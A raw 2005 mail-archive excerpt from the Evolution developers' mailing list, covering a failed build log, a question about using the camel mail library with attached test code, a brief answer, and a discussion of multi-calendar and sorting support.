On Mon, 2005-02-28 at 10:07 +0100, Philip Van Hoof wrote:

Note: e-d-s, here, is also updated and on non-a= noncvs

freax@lort:~/cvs/gnome/evolution/shell $ cvs up= date -d
cvs server: Updating .
cvs server: Updating glade
cvs server: Updating idl
cvs server: Updating importer
freax@lort:~/cvs/gnome/evolution/shell $ make
make  all-recursive
make[1]: Entering directory `/home/freax/cvs/gn= ome/evolution/shell'
Making all in importer
make[2]: Entering directory `/home/freax/cvs/gn= ome/evolution/shell/importer'
make  all-am
make[3]: Entering directory `/home/freax/cvs/gn= ome/evolution/shell/importer'
make[3]: Nothing to be done for `all-am'.
make[3]: Leaving directory `/home/freax/cvs/gno= me/evolution/shell/importer'
make[2]: Leaving directory `/home/freax/cvs/gno= me/evolution/shell/importer'
make[2]: Entering directory `/home/freax/cvs/gn= ome/evolution/shell'
source=3D'e-shell-window-commands.c' object=3D'= e-shell-window-commands.o' libtool=3Dno \
depfile=3D'.deps/e-shell-window-commands.Po' tm= pdepfile=3D'.deps/e-shell-window-commands.TPo' \
depmode=3Dgcc3 /bin/sh ../depcomp \
gcc -DHAVE_CONFIG_H -I. -I. -I.. -I../widgets -= I../widgets/misc -I.. -DEVOLUTION_IMAGES=3D\""/opt/evo//share/evo= lution/2.2/images"\" -DEVOLUTION_LOCALEDIR=3D\""/opt/ev= o//share/locale"\" -DEVOLUTION_DATADIR=3D\""/opt/evo//s= hare"\" -DEVOLUTION_GLADEDIR=3D\""/opt/evo//share/evolu= tion/2.2/glade"\" -DEVOLUTION_HELPDIR=3D\""/opt/evo//sh= are/evolution/2.2/help"\" -DEVOLUTION_UIDIR=3D\""/opt/e= vo//share/evolution/2.2/ui"\" -DEVOLUTION_TOOLSDIR=3D\""= ;/opt/evo//libexec/evolution/2.2"\" -DPREFIX=3D\""/opt/= evo/"\" -DSYSCONFDIR=3D\""/opt/evo//etc"\" -D= DATADIR=3D\""/opt/evo//share"\" -DLIBDIR=3D\""= ;/opt/evo//share"\" -DG_LOG_DOMAIN=3D\"evolution-shell\"= ; -DORBIT2=3D1 -pthread -I/usr/include/evolution-data-server-1.2 -I/usr/inc= lude/libgnome-2.0 -I/usr/include/libbonobo-2.0 -I/usr/include/glib-2.0 -I/u= sr/lib/glib-2.0/include -I/usr/include/orbit-2.0 -I/usr/include/gconf/2 -I/= usr/include/gnome-vfs-2.0 -I/usr/lib/gnome-vfs-2.0/include -I/usr/include/b= onobo-activation-2.0 -I/usr/include/libxml2    -DORBIT2=3D1 = -pthread -DXTHREADS -I/usr/include/glib-2.0 -I/usr/lib/glib-2.0/include -I/= usr/include/libbonoboui-2.0 -I/usr/include/orbit-2.0 -I/usr/include/libxml2= -I/usr/include/libbonobo-2.0 -I/usr/include/libgnomecanvas-2.0 -I/usr/incl= ude/libgnome-2.0 -I/usr/include/bonobo-activation-2.0 -I/usr/include/libart= -2.0 -I/usr/include/pango-1.0 -I/usr/include/freetype2 -I/usr/include/gtk-2= .0 -I/usr/lib/gtk-2.0/include -I/usr/X11R6/include -I/usr/include/atk-1.0 -= I/usr/include/gconf/2 -I/usr/include/gnome-vfs-2.0 -I/usr/lib/gnome-vfs-2.0= /include -I/usr/include/libgnomeui-2.0 -I/usr/include/libglade-2.0 -I/usr/i= nclude/gal-2.4 -I/usr/include/libgnomeprint-2.2     -DO= RBIT2=3D1 -pthread -DXTHREADS -I/usr/include/libgnome-2.0 -I/usr/include/gl= ib-2.0 -I/usr/lib/glib-2.0/include -I/usr/include/orbit-2.0 -I/usr/include/= libbonobo-2.0 -I/usr/include/gconf/2 -I/usr/include/gnome-vfs-2.0 -I/usr/li= b/gnome-vfs-2.0/include -I/usr/include/bonobo-activation-2.0 -I/usr/include= /libgnomeui-2.0 -I/usr/include/libgnomecanvas-2.0 -I/usr/include/gtk-2.0 -I= /usr/include/libart-2.0 -I/usr/include/libbonoboui-2.0 -I/usr/include/pango= -1.0 -I/usr/include/freetype2 -I/usr/lib/gtk-2.0/include -I/usr/X11R6/inclu= de -I/usr/include/atk-1.0 -I/usr/include/libxml2 -I/usr/include/gal-2.4 -I/= usr/include/libglade-2.0 -I/usr/include/libgnomeprint-2.2 -I/usr/include/li= bgtkhtml-3.6 -I/usr/include/libgnomeprintui-2.2     -DO= RBIT2=3D1 -pthread -DXTHREADS -I/usr/include/libgnome-2.0 -I/usr/include/gl= ib-2.0 -I/usr/lib/glib-2.0/include -I/usr/include/orbit-2.0 -I/usr/include/= libbonobo-2.0 -I/usr/include/gconf/2 -I/usr/include/gnome-vfs-2.0 -I/usr/li= b/gnome-vfs-2.0/include -I/usr/include/bonobo-activation-2.0 -I/usr/include= /libgnomeui-2.0 -I/usr/include/libgnomecanvas-2.0 -I/usr/include/gtk-2.0 -I= /usr/include/libart-2.0 -I/usr/include/libbonoboui-2.0 -I/usr/include/pango= -1.0 -I/usr/include/freetype2 -I/usr/lib/gtk-2.0/include -I/usr/X11R6/inclu= de -I/usr/include/atk-1.0 -I/usr/include/libxml2    &nb= sp;   -g -O2 -Wall -Wmissing-prototypes  -Wno-sign-compare -= c `test -f 'e-shell-window-commands.c' || echo './'`e-shell-window-commands= .c
e-shell-window-commands.c:50:42: libedataserver= ui/e-passwords.h: No such file or directory
e-shell-window-commands.c: In function `command= _forget_passwords':
e-shell-window-commands.c:572: warning: implici= t declaration of function `e_passwords_forget_passwords'
e-shell-window-commands.c: At top level:=
e-shell-window-commands.c:479: warning: `comman= d_help_faq' defined but not used
make[2]: *** [e-shell-window-commands.o] Error = 1
make[2]: Leaving directory `/home/freax/cvs/gno= me/evolution/shell'
make[1]: *** [all-recursive] Error 1
make[1]: Leaving directory `/home/freax/cvs/gno= me/evolution/shell'
make: *** [all] Error 2
freax@lort:~/cvs/gnome/evolution/shell $= 

--=20
Philip Van Hoof, Software Developer @ Cronos
home: me at freax dot org
gnome: pvanhoof at gnome dot org
work: philip dot vanhoof at cronos dot be
junk: philip dot vanhoof at gmail dot com
http://www.freax.be, http://www.freax.eu.org

--=20
Philip Van Hoof, Software Developer @ Cronos
home: me at freax dot org
gnome: pvanhoof at gnome dot org
work: philip dot vanhoof at cronos dot be
junk: philip dot vanhoof at gmail dot com
http://www.freax.be, http://www.freax.eu.org
--=-SIZFLpFWBWPgADGWJNwM-- From sh@warma.dk Mon Feb 28 06:57:16 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 431B7124313; Mon, 28 Feb 2005 06:57:16 -0500 (EST) Received: from pluto.linuxkonsulent.dk (unknown [193.108.190.253]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client did not present a certificate) by lists.ximian.com (Postfix) with ESMTP id 09A12124389 for ; Mon, 28 Feb 2005 06:57:04 -0500 (EST) Received: from [127.0.0.1] (helo=[10.2.30.126]) by pluto.linuxkonsulent.dk with asmtp (Exim 3.35 #1 (Debian)) id 1D5jWu-0006B6-00 for ; Mon, 28 Feb 2005 12:57:40 +0100 From: =?ISO-8859-1?Q?S=F8ren?= Hansen To: evolution-hackers@lists.ximian.com Content-Type: multipart/signed; micalg=sha1; protocol="application/x-pkcs7-signature"; boundary="=-saN20RYOgRtBTRJJgUUD" Date: Mon, 28 Feb 2005 12:57:01 +0100 Message-Id: <1109591821.4468.19.camel@localhost.localdomain> Mime-Version: 1.0 X-Mailer: Evolution 2.0.3 X-Spam-Status: No, hits=0.4 required=5.0 tests=BAYES_01,RCVD_IN_ORBS,RCVD_IN_OSIRUSOFT_COM version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Subject: [Evolution-hackers] Problems with camel Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: --=-saN20RYOgRtBTRJJgUUD Content-Type: multipart/mixed; boundary="=-ZSLylqXrgm8DhfbMlX7n" --=-ZSLylqXrgm8DhfbMlX7n Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: quoted-printable Hi! I'm having a bit of a problem using camel. I'm trying to simply make a small app that can open a camel url and read a message from a message store, but I can't even figure out how to make a connection without it segfaulting on me.. I've attaced the code and a makefile. Any help? --=20 S=C3=B8ren Hansen --=-ZSLylqXrgm8DhfbMlX7n Content-Disposition: attachment; filename=camel-test.c Content-Transfer-Encoding: base64 Content-Type: text/x-csrc; name=camel-test.c; charset=UTF-8 ICNpbmNsdWRlICJjYW1lbC9jYW1lbC5oIg0KICNpbmNsdWRlIDxnbGliLmg+DQogDQogY2hhciAq Z2V0X3Bhc3MoQ2FtZWxTZXNzaW9uICpzZXNzaW9uLCBDYW1lbFNlcnZpY2UgKnNlcnZpY2UsIGNv bnN0IGNoYXIgKmRvbWFpbiwgY29uc3QgY2hhciAqcHJvbXB0LCBjb25zdCBjaGFyICppdGVtLCBn dWludDMyIGZsYWdzLCBDYW1lbEV4Y2VwdGlvbiAqZXgpIHsNCiAJCXJldHVybigibXlwYXNzd29y ZCIpOw0KIH0NCiANCiBpbnQgbWFpbihnaW50IGFyZ2MsIGdjaGFyICphcmd2W10pIHsNCiAJQ2Ft ZWxTZXNzaW9uICpzZXNzaW9uOw0KIAlDYW1lbEV4Y2VwdGlvbiAqZXg7IA0KIAlDYW1lbFN0b3Jl ICpzdG9yZTsNCiAJQ2FtZWxGb2xkZXIgKmZvbGRlcjsNCiANCiAJZ190aHJlYWRfaW5pdChOVUxM KTsNCiANCiAJY2FtZWxfaW5pdCgiL3RtcCIsIEZBTFNFKTsNCiAJY2FtZWxfdHlwZV9pbml0KCk7 DQogDQogCWV4ID0gY2FtZWxfZXhjZXB0aW9uX25ldygpOw0KIA0KIAlzZXNzaW9uID0gQ0FNRUxf U0VTU0lPTiAoY2FtZWxfb2JqZWN0X25ldyAoQ0FNRUxfU0VTU0lPTl9UWVBFKSk7DQogDQogCSgo Q2FtZWxTZXNzaW9uQ2xhc3MgKikgc2Vzc2lvbiktPmdldF9wYXNzd29yZCA9IGdldF9wYXNzOw0K IA0KIAljYW1lbF9zZXNzaW9uX2NvbnN0cnVjdCAoc2Vzc2lvbiwgIi90bXAiKTsNCiANCiAJY2Ft ZWxfc2Vzc2lvbl9nZXRfc3RvcmUoc2Vzc2lvbiwgImltYXA6Ly9zaEBwbHV0by5saW51eGtvbnN1 bGVudC5kay8iLCBleCk7DQogDQogCWlmIChjYW1lbF9leGNlcHRpb25faXNfc2V0KGV4KSkNCiAJ CXByaW50ZigiJXMiLCBjYW1lbF9leGNlcHRpb25fZ2V0X2Rlc2NyaXB0aW9uKGV4KSk7DQogDQog CWZvbGRlciA9IGNhbWVsX3N0b3JlX2dldF9pbmJveChzdG9yZSwgZXgpOw0KIA0KIAlpZiAoY2Ft ZWxfZXhjZXB0aW9uX2lzX3NldChleCkpDQogCQlwcmludGYoIiVzIiwgY2FtZWxfZXhjZXB0aW9u X2dldF9kZXNjcmlwdGlvbihleCkpOw0KIH0NCg== --=-ZSLylqXrgm8DhfbMlX7n Content-Disposition: attachment; filename=Makefile Content-Transfer-Encoding: base64 Content-Type: text/x-makefile; name=Makefile; charset=UTF-8 YWxsOiBjYW1lbC10ZXN0DQoNCmNhbWVsLXRlc3Q6DQoJbGlidG9vbCAtLW1vZGU9bGluayBnY2Mg LWcgYHBrZy1jb25maWcgLS1jZmxhZ3MgLS1saWJzIGdsaWItMi4wIGNhbWVsLTIuMGAgY2FtZWwt dGVzdC5jIC1vIGNhbWVsLXRlc3QNCg== --=-ZSLylqXrgm8DhfbMlX7n-- --=-saN20RYOgRtBTRJJgUUD Content-Type: application/x-pkcs7-signature; name=smime.p7s Content-Disposition: attachment; filename=smime.p7s Content-Transfer-Encoding: base64 MIAGCSqGSIb3DQEHAqCAMIACAQExCzAJBgUrDgMCGgUAMIAGCSqGSIb3DQEHAQAAoIIKZDCCBS4w ggQWoAMCAQICBD/F1UYwDQYJKoZIhvcNAQEFBQAwMTELMAkGA1UEBhMCREsxDDAKBgNVBAoTA1RE QzEUMBIGA1UEAxMLVERDIE9DRVMgQ0EwHhcNMDQwOTIxMTUzNzU2WhcNMDYwOTIxMTYwNzU2WjB0 MQswCQYDVQQGEwJESzEpMCcGA1UEChMgSW5nZW4gb3JnYW5pc2F0b3Jpc2sgdGlsa255dG5pbmcx OjATBgNVBAMUDFP4cmVuIEhhbnNlbjAjBgNVBAUTHFBJRDo5MjA4LTIwMDItMi05NzYxMzU3OTAz MDMwgZ8wDQYJKoZIhvcNAQEBBQADgY0AMIGJAoGBAKa8yX6dwX1fG2lFQFeJsdnL1l6gK+Yh1ORs sGB603ClZ7gYPaWFq/JWHvyutgSozKvcU6+ZX8zeHpwV1z6Z4PGNAxjxleWK028VXi0gqKaM46yO iyUIuvLxvXBEA/w5wdvfO3aZBvgUzeTUV1yj0hCTsk+faWIBF7W7dS9w7lERAgMBAAGjggKNMIIC iTAOBgNVHQ8BAf8EBAMCA/gwKwYDVR0QBCQwIoAPMjAwNDA5MjExNTM3NTZagQ8yMDA2MDkyMTE2 MDc1NlowggE3BgNVHSAEggEuMIIBKjCCASYGCiqBUIEpAQEBAQEwggEWMC8GCCsGAQUFBwIBFiNo dHRwOi8vd3d3LmNlcnRpZmlrYXQuZGsvcmVwb3NpdG9yeTCB4gYIKwYBBQUHAgIwgdUwChYDVERD MAMCAQEagcZGb3IgYW52ZW5kZWxzZSBhZiBjZXJ0aWZpa2F0ZXQgZ+ZsZGVyIE9DRVMgdmlsa+Vy LCBDUFMgb2cgT0NFUyBDUCwgZGVyIGthbiBoZW50ZXMgZnJhIHd3dy5jZXJ0aWZpa2F0LmRrL3Jl cG9zaXRvcnkuIEJlbeZyaywgYXQgVERDIGVmdGVyIHZpbGvlcmVuZSBoYXIgZXQgYmVncuZuc2V0 IGFuc3ZhciBpZnQuIHByb2Zlc3Npb25lbGxlIHBhcnRlci4wFgYDVR0RBA8wDYELc2hAd2FybWEu ZGswgZAGA1UdHwSBiDCBhTBKoEigRqREMEIxCzAJBgNVBAYTAkRLMQwwCgYDVQQKEwNUREMxFDAS BgNVBAMTC1REQyBPQ0VTIENBMQ8wDQYDVQQDEwZDUkwzOTkwN6A1oDOGMWh0dHA6Ly9jcmwub2Nl cy5jZXJ0aWZpa2F0LmRrL29jZXMvMTA2OTkyOTc5OC5jcmwwHwYDVR0jBBgwFoAUYLWF7FZkfhIZ J2cdUBVLc647+RIwHQYDVR0OBBYEFMOPXueQvwX6721Zj2ILZpWustfFMAkGA1UdEwQCMAAwGQYJ KoZIhvZ9B0EABAwwChsEVjcuMAMCA6gwDQYJKoZIhvcNAQEFBQADggEBAA8bx42vFnZXR4OtWO5I +T7cf+CD4Z3yR2BNfze7Pp5HQfOZwhYLQIrdhuzY2kI7VyON2Ra+OSIpchQi1RvemFYm5Z+NvOnS mDmSMng8JGvNz/L3+9lMoxsTAPS++MK4UQ2PUgdyNd2xkOWGd7UfmdpDEu0Iizbp0YDc+x/aDnpg K913F3+ydpZdSAA8hFnqOAgTvm85cMIhIOXR7+ayTMVKBad7GOhKgVGb/0cfd2acjZqfa/QjEGYa KCsdKvWwcpNNtYIf+CEtKSdGbWp55cdh/5PefglW09aCKvOR0UUQacFcXbOpurelacW/qB2Wkazn aI+06jG/jt3y1f4RJl8wggUuMIIEFqADAgECAgQ/xdVGMA0GCSqGSIb3DQEBBQUAMDExCzAJBgNV BAYTAkRLMQwwCgYDVQQKEwNUREMxFDASBgNVBAMTC1REQyBPQ0VTIENBMB4XDTA0MDkyMTE1Mzc1 NloXDTA2MDkyMTE2MDc1NlowdDELMAkGA1UEBhMCREsxKTAnBgNVBAoTIEluZ2VuIG9yZ2FuaXNh dG9yaXNrIHRpbGtueXRuaW5nMTowEwYDVQQDFAxT+HJlbiBIYW5zZW4wIwYDVQQFExxQSUQ6OTIw OC0yMDAyLTItOTc2MTM1NzkwMzAzMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCmvMl+ncF9 XxtpRUBXibHZy9ZeoCvmIdTkbLBgetNwpWe4GD2lhavyVh78rrYEqMyr3FOvmV/M3h6cFdc+meDx jQMY8ZXlitNvFV4tIKimjOOsjoslCLry8b1wRAP8OcHb3zt2mQb4FM3k1Fdco9IQk7JPn2liARe1 u3UvcO5REQIDAQABo4ICjTCCAokwDgYDVR0PAQH/BAQDAgP4MCsGA1UdEAQkMCKADzIwMDQwOTIx MTUzNzU2WoEPMjAwNjA5MjExNjA3NTZaMIIBNwYDVR0gBIIBLjCCASowggEmBgoqgVCBKQEBAQEB MIIBFjAvBggrBgEFBQcCARYjaHR0cDovL3d3dy5jZXJ0aWZpa2F0LmRrL3JlcG9zaXRvcnkwgeIG CCsGAQUFBwICMIHVMAoWA1REQzADAgEBGoHGRm9yIGFudmVuZGVsc2UgYWYgY2VydGlmaWthdGV0 IGfmbGRlciBPQ0VTIHZpbGvlciwgQ1BTIG9nIE9DRVMgQ1AsIGRlciBrYW4gaGVudGVzIGZyYSB3 d3cuY2VydGlmaWthdC5kay9yZXBvc2l0b3J5LiBCZW3mcmssIGF0IFREQyBlZnRlciB2aWxr5XJl bmUgaGFyIGV0IGJlZ3LmbnNldCBhbnN2YXIgaWZ0LiBwcm9mZXNzaW9uZWxsZSBwYXJ0ZXIuMBYG A1UdEQQPMA2BC3NoQHdhcm1hLmRrMIGQBgNVHR8EgYgwgYUwSqBIoEakRDBCMQswCQYDVQQGEwJE SzEMMAoGA1UEChMDVERDMRQwEgYDVQQDEwtUREMgT0NFUyBDQTEPMA0GA1UEAxMGQ1JMMzk5MDeg NaAzhjFodHRwOi8vY3JsLm9jZXMuY2VydGlmaWthdC5kay9vY2VzLzEwNjk5Mjk3OTguY3JsMB8G A1UdIwQYMBaAFGC1hexWZH4SGSdnHVAVS3OuO/kSMB0GA1UdDgQWBBTDj17nkL8F+u9tWY9iC2aV rrLXxTAJBgNVHRMEAjAAMBkGCSqGSIb2fQdBAAQMMAobBFY3LjADAgOoMA0GCSqGSIb3DQEBBQUA A4IBAQAPG8eNrxZ2V0eDrVjuSPk+3H/gg+Gd8kdgTX83uz6eR0HzmcIWC0CK3Ybs2NpCO1cjjdkW vjkiKXIUItUb3phWJuWfjbzp0pg5kjJ4PCRrzc/y9/vZTKMbEwD0vvjCuFENj1IHcjXdsZDlhne1 H5naQxLtCIs26dGA3Psf2g56YCvddxd/snaWXUgAPIRZ6jgIE75vOXDCISDl0e/mskzFSgWnexjo SoFRm/9HH3dmnI2an2v0IxBmGigrHSr1sHKTTbWCH/ghLSknRm1qeeXHYf+T3n4JVtPWgirzkdFF EGnBXF2zqbq3pWnFv6gdlpGs52iPtOoxv47d8tX+ESZfMYIB1TCCAdECAQEwOTAxMQswCQYDVQQG EwJESzEMMAoGA1UEChMDVERDMRQwEgYDVQQDEwtUREMgT0NFUyBDQQIEP8XVRjAJBgUrDgMCGgUA oIHzMBgGCSqGSIb3DQEJAzELBgkqhkiG9w0BBwEwHAYJKoZIhvcNAQkFMQ8XDTA1MDIyODExNTcw MVowIwYJKoZIhvcNAQkEMRYEFANIUEyTm8D/VhGBs37gpLRKZ3SbMEgGCSsGAQQBgjcQBDE7MDkw MTELMAkGA1UEBhMCREsxDDAKBgNVBAoTA1REQzEUMBIGA1UEAxMLVERDIE9DRVMgQ0ECBD/F1UYw SgYLKoZIhvcNAQkQAgsxO6A5MDExCzAJBgNVBAYTAkRLMQwwCgYDVQQKEwNUREMxFDASBgNVBAMT C1REQyBPQ0VTIENBAgQ/xdVGMA0GCSqGSIb3DQEBAQUABIGADumArsE7Rr3Fv6s1vNo3rQpN++Ld 5+1TEZ5F7BD7h8dmqThB2RoMvfV5w4F/h1xGAGpVt19tjzDdad1URkTuSXOLj9kdrjrl9LUbgHbe cTSfd21StAXUKQM8zu940aewotWSqgvL1yuQu14l6yFHpYV5TKNYguIHv2PyB5X6bPUAAAAAAAA= --=-saN20RYOgRtBTRJJgUUD-- From fejj@novell.com Mon Feb 28 10:53:29 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 8BB8D124195; Mon, 28 Feb 2005 10:53:29 -0500 (EST) Received: from peabody.ximian.com (peabody.ximian.com [130.57.169.10]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client did not present a certificate) by lists.ximian.com (Postfix) with ESMTP id C0EC41240A9 for ; Mon, 28 Feb 2005 10:53:17 -0500 (EST) Received: (qmail 6211 invoked from network); 28 Feb 2005 15:53:16 -0000 Received: from localhost (HELO ?10.200.0.103?) (fejj@127.0.0.1) by localhost with SMTP; 28 Feb 2005 15:53:16 -0000 Subject: Re: [Evolution-hackers] Problems with camel From: Jeffrey Stedfast To: =?ISO-8859-1?Q?S=F8ren?= Hansen Cc: evolution-hackers@lists.ximian.com In-Reply-To: <1109591821.4468.19.camel@localhost.localdomain> References: <1109591821.4468.19.camel@localhost.localdomain> Content-Type: text/plain; charset=ISO-8859-1 Date: Mon, 28 Feb 2005 10:49:52 -0500 Message-Id: <1109605792.17964.0.camel@localhost.localdomain> Mime-Version: 1.0 X-Mailer: Evolution 2.1.4 Content-Transfer-Encoding: 8bit X-Spam-Status: No, hits=-25.5 required=5.0 tests=BAYES_01,EMAIL_ATTRIBUTION,IN_REP_TO,QUOTED_EMAIL_TEXT, RCVD_IN_ORBS,RCVD_IN_OSIRUSOFT_COM,REFERENCES, REPLY_WITH_QUOTES autolearn=ham version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: you need to subclass CamelSession, it's just an abstract class. Jeff On Mon, 2005-02-28 at 12:57 +0100, Søren Hansen wrote: > Hi! > > I'm having a bit of a problem using camel. I'm trying to simply make a > small app that can open a camel url and read a message from a message > store, but I can't even figure out how to make a connection without it > segfaulting on me.. > > I've attaced the code and a makefile. > > Any help? > > From ak-47@gmx.net Mon Feb 28 15:14:15 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 904CA1248F5; Mon, 28 Feb 2005 15:14:14 -0500 (EST) Received: from mail.gmx.net (pop.gmx.de [213.165.64.20]) by lists.ximian.com (Postfix) with SMTP id 7D8F1124964 for ; Mon, 28 Feb 2005 15:13:50 -0500 (EST) Received: (qmail invoked by alias); 28 Feb 2005 20:13:47 -0000 Received: from unknown (EHLO h2101.dialup.callax-network.net) (81.209.204.33) by mail.gmx.net (mp024) with SMTP; 28 Feb 2005 21:13:47 +0100 X-Authenticated: #726810 Subject: Re: [Evolution-hackers] multi-calendaring and multi-sorting From: Andre Klapper To: evolution-hackers@lists.ximian.com Cc: Ali Shameli In-Reply-To: <20050224142518.59691.qmail@web14306.mail.yahoo.com> References: <20050224142518.59691.qmail@web14306.mail.yahoo.com> Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="=-ZaEvUArvkI5FQEOuy+xy" Date: Mon, 28 Feb 2005 21:13:40 +0100 Message-Id: <1109621620.4900.43.camel@embrace.local> Mime-Version: 1.0 X-Mailer: Evolution 2.1.5 X-Y-GMX-Trusted: 0 X-Spam-Status: No, hits=-24.4 required=5.0 tests=BAYES_20,EMAIL_ATTRIBUTION,FROM_ENDS_IN_NUMS,IN_REP_TO, PGP_SIGNATURE_2,RCVD_IN_ORBS,RCVD_IN_OSIRUSOFT_COM, REFERENCES,REPLY_WITH_QUOTES autolearn=ham version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: --=-ZaEvUArvkI5FQEOuy+xy Content-Type: text/plain Content-Transfer-Encoding: quoted-printable hi ali, On Thu, 2005-02-24 at 06:25 -0800, Ali Shameli wrote: > Persian localization in evolution. >=20 > We have been working on Evolution code for months. > Our goal is to add multi calendaring and multi > language sorting support to Evolution. i don't know what exactly you mean by multi sorting, could you please explain that more explicitly? > We wrote a lightweight library to use multi > calendaring in systems like Evolution. > First patch for adding multi calendaring support will > be sent in near feature. please send it to this list so it can be discussed/some hackers can comment on it, that would help you to not code into the wrong direction. :-) > There were two suitable solution to add multi language > sorting: >=20 > * hacking the evolution code, like addressbook module > in order to display characters ( Non-latin) > in correct order. >=20 > * using a multi language sort library (which allows > us to switch between different languages) for your interest, there have already been a few people (perhaps you also could contact them to get some information on their impressions) that have asked this question, please look into the archives: http://lists.ximian.com/archives/public/evolution-hackers/2004-May/003800.h= tml http://lists.ximian.com/archives/public/evolution-hackers/2004-May/003876.h= tml http://lists.ximian.com/archives/public/evolution-hackers/2004-July/004053.= html http://lists.ximian.com/archives/public/evolution-hackers/2004-August/00417= 6.html in the last link rodrigo says that the code needs to get integrated into libical, evolution's support library for dealing with calendar objects and their dates, and that there are plans to do a replacement for libical - so what's the status on this, ximian guys? good luck (i'd also be happy to see more date systems than the julian/gregorian calendar supported better in evolution), andre --=20 mailto:ak-47@gmx.net | failed! http://www.iomc.de --=-ZaEvUArvkI5FQEOuy+xy Content-Type: application/pgp-signature; name=signature.asc Content-Description: This is a digitally signed message part -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.5 (GNU/Linux) iD8DBQBCI3t0UZw3dUr5LoARApUYAJ9Nkjan6sKFIbjLO5D9wznH/JX+bACeM2+T gn/Go3SVCXPxA+/VvpbDCdk= =jEcL -----END PGP SIGNATURE----- --=-ZaEvUArvkI5FQEOuy+xy--